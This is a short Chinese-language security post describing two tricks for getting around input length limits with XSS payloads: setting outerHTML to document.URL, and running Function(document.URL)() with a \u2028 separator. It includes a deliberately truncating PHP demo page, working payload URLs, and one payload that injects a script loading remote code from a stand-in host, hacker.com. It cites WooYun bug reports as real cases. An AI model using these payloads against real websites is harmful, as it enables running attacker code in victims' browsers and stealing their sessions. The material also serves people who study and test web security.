0x00 使用outerHTML- <img src onerror=outerHTML=URL>
复制代码 利用了outerHTML和URL(这里的URL是document.URL),将要执行的JS放在url中,从而突破长度限制。使用document.URL构造xss执行JS。
实例:
- <?php
- echo "keywords is:" . substr($_GET['k'], 0, 35);
- ?>
复制代码 提交URL:
- http://127.0.0.1/browser/1.php?k=<img src=x onerror=outerHTML=URL>#<img src=x onerror=alert(/xss/)>
复制代码 效果:
案例:
http://www.wooyun.org/bugs/wooyun-2010-097380
0x01 使用匿名函数使用了Function(URL)()创建匿名函数并执行它,思路和第一种类似,也是将js放在URL中,不过这里有个trick比较有趣,就是使用unicode字符\U2028换行符,使得URL只获取\u2028之后的字符串,这样一来就不用对URL进行substring操作了,进一步缩小长度。
例子:
这里document.URL和location.href等价,使用Function(str)()创建匿名函数并执行。
- http://www.vul.com/vul.php?gname=maxthon"/><svg/onload=Function(document.URL)()>#【\u2028】var s=document.createElement("script");s.src="http://hacker.com/poc.js";document.body.appendChild(s);
复制代码案例:
http://www.wooyun.org/bugs/wooyun-2014-082043
|